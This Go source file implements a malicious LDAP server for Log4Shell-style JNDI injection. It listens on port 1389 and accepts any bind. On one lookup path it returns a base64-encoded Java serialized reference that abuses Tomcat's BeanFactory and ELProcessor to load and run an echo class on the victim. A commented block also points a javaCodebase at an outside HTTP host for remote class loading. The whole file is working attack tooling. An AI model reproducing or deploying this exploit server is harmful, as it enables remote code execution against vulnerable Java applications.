package log4jcenter

import (
	"encoding/base64"
	"fmt"
	"sync"
	"time"

	"github.com/lor00x/goldap/message"
	ldap "github.com/vjeantet/ldapserver"
)

var q sync.WaitGroup

func Start_server() {

	//Create a new LDAP Server

	ldap.Logger = ldap.DiscardingLogger
	server := ldap.NewServer()
	routes := ldap.NewRouteMux()
	routes.Bind(handleBind)
	routes.Search(handleSearch)
	server.ReadTimeout = time.Second * 100
	server.Handle(routes)

	q.Add(1)
	go server.ListenAndServe(":1389")
	q.Wait()

}

func handleSearch(w ldap.ResponseWriter, m *ldap.Message) {
	r := m.GetSearchRequest()

	e := ldap.NewSearchResultEntry("")

	if r.BaseObject() == "TomcatBypass/TomcatEcho" {
		payload, _ := base64.RawStdEncoding.DecodeString("rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAAAABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlvbnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EAfgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeH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2FkZXIoKTsKdHJ5ewogICB2YXIgY2xhenogPSBjbGFzc0xvYWRlci5sb2FkQ2xhc3MoJ2NvbS5mZWlob25nLmxkYXAudGVtcGxhdGUuVG9tY2F0RWNob1RlbXBsYXRlJyk7CiAgIGNsYXp6Lm5ld0luc3RhbmNlKCk7Cn1jYXRjaChlcnIpewogICB2YXIgbWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCdkZWZpbmVDbGFzcycsICcnLmdldEJ5dGVzKCkuZ2V0Q2xhc3MoKSwgamF2YS5sYW5nLkludGVnZXIuVFlQRSwgamF2YS5sYW5nLkludGVnZXIuVFlQRSk7CiAgIG1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwogICB2YXIgY2xhenogPSBtZXRob2QuaW52b2tlKGNsYXNzTG9hZGVyLCBieXRlcywgMCwgYnl0ZXMubGVuZ3RoKTsKICAgY2xhenoubmV3SW5zdGFuY2UoKTsKfTsiKX1wcHBwcHh0ACVvcmcuYXBhY2hlLm5hbWluZy5mYWN0b3J5LkJlYW5GYWN0b3J5cHQAFGphdmF4LmVsLkVMUHJvY2Vzc29y")
		e.AddAttribute("javaClassName", "foo")
		e.AddAttribute("javaSerializedData", message.AttributeValue(payload))
		w.Write(e)

		res := ldap.NewSearchResultDoneResponse(ldap.LDAPResultSuccess)
		w.Write(res)
		// q.Done()
	} else {
		fmt.Println("[-] Ldap request err,exited.")
		// q.Done()
	}

}

// handleBind return Success for any login/pass
func handleBind(w ldap.ResponseWriter, m *ldap.Message) {
	res := ldap.NewBindResponse(ldap.LDAPResultSuccess)
	w.Write(res)
	return
}

// e.AddAttribute("objectClass", "javaNamingReference")
// 			e.AddAttribute("javaCodebase", "http://192.168.159.1:8080/")
// 			e.AddAttribute("JavaFactory", "TomcatEchoTemplate")
// 			e.AddAttribute("javaClassName", "TomcatEchoTemplate")
// 			w.Write(e)
// 			res := ldap.NewSearchResultDoneResponse(ldap.LDAPResultSuccess)
// 			w.Write(res)
